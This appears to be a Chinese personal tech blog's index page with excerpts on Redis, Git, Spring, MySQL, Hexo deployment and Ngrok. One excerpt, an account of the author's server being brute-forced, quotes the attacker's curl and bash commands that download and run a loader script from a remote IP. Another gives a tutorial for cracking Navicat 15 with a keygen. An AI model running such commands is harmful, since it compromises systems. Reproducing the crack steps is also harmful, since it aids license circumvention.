计算机顶会投稿指南
1.根据CCF推荐目录选择会议和期刊个人觉得投稿最重要的一步就是选择合适的计算机领域会议(期刊)啦,刚开始投稿,不宜投太难的会也不宜投太水的会,这主要依据导师和个人的研究方向、实验室的综合水平和自身的科研能力。对于不同的会议(或期刊),其投稿主题、行文风格、评审难度、关注偏好等都差距甚远,因此我推荐根据自身的研究方向和CCF推荐目录去选择难度适宜的会议及期刊。
中国计算机学会(CCF)最新的《CCF推荐国际学术会议和期刊目录》列出了关于人工智能方向的A、B、C类会议:
AI各领域顶会投稿接受率和截稿时间参考:NLP领域四大顶会:
会议
时间
类别
近年接收率
ACL
11月
CCF-A
21.2%
EMNLP
5月
CCF-B
22.4%
COLING
7月
CCF-B
37.4%
NAACL
1月
CCF-C
22.6%
CV领域三大顶会:
会议
时间
类别
近年接收率
CVPR
11月
CCF-A
23.7%
ICCV
5月
CCF-A
25.9%
ECCV
3月
CCF-B
27%
ML领域三大顶会:
会议 ...
Redis基础
一、学习Redis基础
在前面学习了MySQL数据库,它是一种传统的关系型数据库,我们可以使用MySQL来更好地管理和组织我们的数据,虽然在小型Web下,只需要一个MySQL+Mybatis自带的缓存系统就可以胜任大部分的数据存储工作,但是MySQL的缺点也很明显,他的数据始终是存储在硬盘上,对于我们的用户信息这种不需要经常发生修改的内容,使用MySQL确实可以,但是如果是快速更新或是频繁使用的数据,比如微博resource、双十一秒杀,这些数据不仅要求服务器需要提供更高的响应速度,而且还需要面对短时间内上百万甚至上千万次访问,而MySQL的磁盘IO读写性能完全不能满足上面的需求,能够满足上述需求的只有内存,因为速度远高于磁盘IO。
NoSQL概论NoSQL全称是Not Only SQL(不仅仅是SQL) 它是一种非关系型数据库,相比传统SQL关系型数据库,它:
特点:
不保证关系数据的ACID特性
并不遵循SQL标准
消除数据之间关联性
优势:
远超传统关系型数据库的性能
非常易于扩展
数据模型更加灵活
高可用
这样,NoSQL的优势就出来了,这就是我们正 ...
学习Git版本控制笔记
一、Git工作流
四大板块(1)工作目录存放我们正在写的代码
(2)暂存区暂时保存待提交的内容
(3)本地仓库位于我们电脑上的一个版本控制仓库
(4)远程仓库位于服务器上的版本控制仓库
二、创建本地仓库2.1初始化为本地仓库1git init #可以创建多个本地仓库
2.2查看当前仓库状态1git status #查看当前,如果有未追踪的文件则需要追踪
2.3添加为追踪文件1git add text.txt #添加完成就放到了暂存区等待提交
2.4这提交到本地仓库1git commit -m '描述' #这个版本就提交到git的本地仓库了
2.5修改文件内容提交1git commit -a -m '备注' #如果修改了已经提交过的文件内容,再次提交就使用这个命令
2.6查看提交日志1git log #可以查看提交日志,谁在什么时候提交的,也能查看提交ID
2.7查看一条日志1git log --all --oneline --graph #图形化查看一条日志的所有操作
2.8改变初始化提交1git res ...
关于git clone报10054错误
git clone url.git 报10054错误,具体错误如下:1234Administrator@PC202006091958 MINGW64 /d/GitHub_clone/themes$ git clone https://github.com/blinkfox/hexo-theme-matery.git #这是git命令Cloning into 'hexo-theme-matery'...fatal: unable to access 'https://github.com/blinkfox/hexo-theme-matery.git/': OpenSSL SSL_read: Connection was reset, errno 10054
解决方法一执行以下两行代码即可:12git config --global --unset http.proxygit config --global --unset https.proxy
再次git 克隆即成功, 如下图
解决方法二当解决方法一不能解决报错问题时,手动配置git的代理,gi ...
如何将Hexo博客部署到云服务器
前言:
此前我的博客都是部署在github上,但是github老是抽风,访问速度慢,当我拥有域名和服务器后,迫不及待的就要将个人博客项目部署到我的云服务器上,然后通过域名去访问,就大功告成,皆大欢喜啦。但是在网上搜索了很多部署到服务器的教程,杂七杂八,有些很麻烦,有些通过ssh远程连接服务器敲linux命令,有些步骤还不详细,有些甚至跳步部署,确实是刚开始跟着那些教学踩了很多坑啊,部署好久,不是权限不够就是git完出现各种错误。第一次部署问题太多,我解决不了,新建的文件夹还多,有点晕,就把服务器格式化了一次,着实头疼,浪费了太多的时间。第二次是因为服务器被攻击,又格式化了一次,部署次数较多,嘿嘿,有经验。所以当我部署成功后,第一时间就把我部署过程以及部署遇到的一些问题整理出来,记录下来,发一篇博客,帮助后面的同学部署少踩一点坑。此文章不断完善中。
把我的部署成功过程分享出来给大家查看。
注意:以下所有命令,一框多条命令,建议一行一行执行!!一行一行的复制到服务器运行。(大佬忽略)一、准备工作
已经备案的域名,已经解析绑定好服务器ip地址了,
一台云服务器,我这边使用的阿里云服务器,( ...
我的服务器被暴力破解
新手刚接触ECS云服务器还不懂需要做些什么,只能见招拆招了。今天服务器遭受SSH暴力破解,所以整理一些东西让遇到这些问题的人可以减少这个烦恼,废话不多说进入正题。起因:手机收到阿里云提示短信,检测到ECS服务器出现紧急安全事件:访问恶意下载源
一、具体事件服务器被恶意攻击,是人性的泯灭还是道德的沦丧,咱就是说才买几天的服务器,就挂了个人博客的项目,不至于吧,不至于吧!HXD?!!服务器格式化了,项目得重新部署了…..fffffffffffff自己的阿里云服务器被别有用心的人gank一波,服务器被暴力破解密码并且异地登录,然后我就收到了阿里云发的服务器异地登录短信,打开手机查看阿里云,好家伙,五个安全警告,有三个是恶意脚本代码执行的警告,分别执行了curl,bash以及wget命令,具体命令行代码分别如下:
1curl -k --user-agent e842c5c9_root:Root1234 http://194.145.227.21/ldr.sh
12bash -c (curl -k --user-agent e842c5c9_root:Root1234 http://194 ...
详解SSM框架工作原理及流程
一、什么是SSM框架:SSM框架是Spring、SpringMVC和Mybatis框架的整合,是标准的MVC模式,将整个系统划分为View层,Controller层,Service层,DAO层四层,使用Spring MVC负责请求的转发和视图管理,Spring实现业务对象管理,Mybatis作为数据对象的持久化引擎。
二、各框架介绍
Spring
Spring就像是整个项目中装配bean的大工厂,在配置文件中可以指定使用特定的参数去调用实体类的构造方法来实例化对象。也可以称之为项目中的粘合剂。Spring的核心思想是IoC(控制反转),即不再需要程序员去显式地new一个对象,而是让Spring框架帮你来完成这一切。
SpringMVC
SpringMVC作用于web层,相当于controller,与struts中的action一样,都是用来处理用户请求的。同时,相比于struts2来说,更加细粒度,它是基于方法层面的,而struts是基于类层面的。Spring MVC 分离了控制器、模型对象、分派器以及处理程序对象的角色,这种分离让它们更容易进行定制。
SpringMVC在项目中 ...
Spring,AOP的理解
一、Spring是什么?Spring是一个轻量级的2EE框架。它是一个容器框架,用来装javabean(java对象),中间层框架(万能胶)可以起到一个连接作用,比如把Struts和hibernate粘合在一起运作,可以让我们的企业开发更快,更简洁。spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架。
1、从大小与开销两方面而言,spring都是轻量级的
2、通过控制反转(IoC)的技术达到松耦合的目的
3、提供了面向切面编程的丰富支持,允许通过分离应用的业务逻辑与系统级服务进行内聚性的开发
4、包含并管理应用对象(Bean)的配置和生命周期,这个意义上是一个容器
5、将简单的组件配置,组合成为复杂的应用,这个意义上是一个框架
二、AOP的理解系统是由许多不同的组件所组成的,每一个组件各负责一块特定功能。除了实现自身核心功能之外,这些组件还经常承担着额外的职责。例如日志、事物管理和安全这样的核心服务经常融入到自身具有核心业务逻辑的组件中去,这些系统服务经常被称为横切关注点,因为它们会跨越系统多个组件。
当我们需要为分散的对象引入公共行为的时候,OOP则显得无 ...
Spring中IoC和DI的理解
tips: 学习过Spring框架的人一定都会听过Spring的IoC(控制反转) 、DI(依赖注入)这两个概念,对于初学Spring的人来说,总觉得IoC 、DI这两个概念是模糊不清的,是很难理解的,今天和大家分享网上的一些技术大牛们对Spring框架的IOC的理解以及谈谈我对Spring Ioc的理解。
一、分享Iteye的开涛对IoC的精彩讲解1.1、IoC是什么 IoC—Inversion of Control,即“控制反转”,不是什么技术,而是一种设计思想。在Java开发中,Ioc意味着将你设计好的对象交给容器控制,而不是传统的在你的对象内部直接控制。如何理解好Ioc呢?理解好Ioc的关键是要明确“谁控制谁,控制什么,为何是反转(有反转就应该有正转了),哪些方面反转了”,那我们来深入分析一下:
●谁控制谁,控制什么:传统Java SE程序设计,我们直接在对象内部通过new进行创建对象,是程序主动去创建依赖对象;而IoC是有专门一个容器来创建这些对象,即由Ioc容器来控制对 象的创建;谁控制谁?当然是IoC 容器控制了对象;控制什么?那就是主要控制了外部资源获取(不只 ...
本站使用的图床以及图床推荐
tips:通常情况我们在建网站或者日常上网的时候用到图床的理由就是以下几种情况:临时分享图片到其他网站外链;自己服务器硬盘不够用;自己服务器带宽小,网速慢;不想把图片放到自己服务器;自己没有服务器但是又想分享图片。图床是指存储图片的服务器,就是专门用来存放图片的服务器,更多的是指提供图片外链的服务,有免费图床,也有付费图床。
一、目前使用的图床(SM.MS)我是使用markdown来写博客,可是markdown的图片却是本地的,如果我要发博客到GitHub上,那么就不行了,GitHub上是不能存图片的。于是干脆弄了个图床,本地截图的时候上传到图床,markdown中的代码结果也是图床里的,这样就解决了这个问题了。引入图片不需要引入图片的所在文件夹的相对地址,不再将使用到的图片放到项目的img文件夹中,直接引入图片在互联网的图片即可,加载速度也快,很方便。
之前写了两篇博客MySQL中常见约束(笔记)跟Navicat注册机破解教学,图片也是引入的互联网地址,我事先将图片发布到C站,然后将C站的网络地址复制粘贴,引入到我的文章里去,这样也是很方便的,C站就相当于一个图床,但是这样引入的 ...
MySQL常见约束
Tips:
检查约束(check):MySQL中不支持检查约束,但是Oracle中是好使的。就在这前面简单介绍一下吧!笔记不嫌多。哈哈哈哈!我在大学的课程是SQL Server,这玩意也支持Check约束,语句贴下面,简单感受一下吧。还有另外两种约束:自增长约束(AUTO_INCREMENT)非负约束(unsigned)相信你们都晓得这自增约束,自增长约束在下面详解代码有涉及到,不知道的自行百度。链接放这。怎么实现自增长约束
创建检查约束:
123456create table emp8( id int(10), name varchar(20), salary Double(10,2), CONSTRAINT emp8_salary_ck CHECK(salary > 3000) #工资大于3000不允许往工资里加);
什么是约束?约束使用规则?
约束是在表中定义的用于维护数据库完整性的一些规则。
通过为表中的列定义约束可以防止将错误的数据插入表中,也可以保持表之间数据的一致性
若某个约束条件只作用于单独的列,可以将其定义为列级约束也可 ...
Ngork内网穿透
前言:
自己电脑上的项目如何让别人访问一般自己在电脑上写了一个项目 ,自己把项目跑起来,生成一个本地地址,可以通过本地网址进行访问项目,但是怎么样让别人来访问你的项目,这就需要用到Ngork工具了。
原理:把外网地址通过服务器映射,映射到自己的本地地址,这样别人访问外网,就间接访问了你的本地网站
使用场景:
比如你是乙方,你承包了甲方的项目,当你写好了项目,甲方要验收,你要把自己的项目给甲方看呀,你总不能把自己的电脑带到甲方面前操作吧,这里就可以用到Ngork内网穿透,你给甲方一个网站,就可以访问你本地的网址啦!
还有一种就是你是学生,你在学校做了一个项目,你想让同学,老师,其他人访问你的网址,这时候用Ngork就很方便,分享资源啥的。
服务器映射过程也很简单哈,没有什么难度,很容易上手,看完就会。
实现内网穿透方法第一步:注册账号并登陆 去Ngork官网注册一个账号,点这里直接去注册吧。
第二步:购买实名认证机会 因为之前有人使用网站服务器做非法的事情,导致Ngrok网站被公关部门调查了,加强了实名认证功能,想要搭建一个服务必须要实名认证,这其实不算什么,主要是人家实名认证接口是 ...
Navivat 15 for Mysql的安装破解教程
tips:不废话,直接上手。
一、准备工作1.下载Navicat 15.X for Mysql.(Navicat 15.x for MySQ可以直接到官网去下载。安装时选择安装文件夹,无脑下一步即可)
2.下载注册机。
3.没有navicat注册机的小伙伴可以关注私聊,免费提供。二、安装过程第一步、将下载好的注册机复制到Navicat 15.x for MySQL的安装目录;我是安装在默认的文件夹 C:\Program Files\PremiumSoft\Navicat 15 for MySQL中,只要将上图中“Navicat破解注册机”复制到这个目录中即可,
第二步、双击运行注册机,如下图所示,选择 “Navicat v15”,Products选择“MySQL”,Languages选择 “Simplified Chinese”,然后点击“Patch”,进行注册,请按照以下图示一步一步操作
第三步、打开Navicat 15.X for Mysql,进行注册操作,(如果第一次安装的话,打开软件就会提示注册,如果之前遗留有注册信息,可以通过点击帮助-》注册),点击注册机上的Gener ...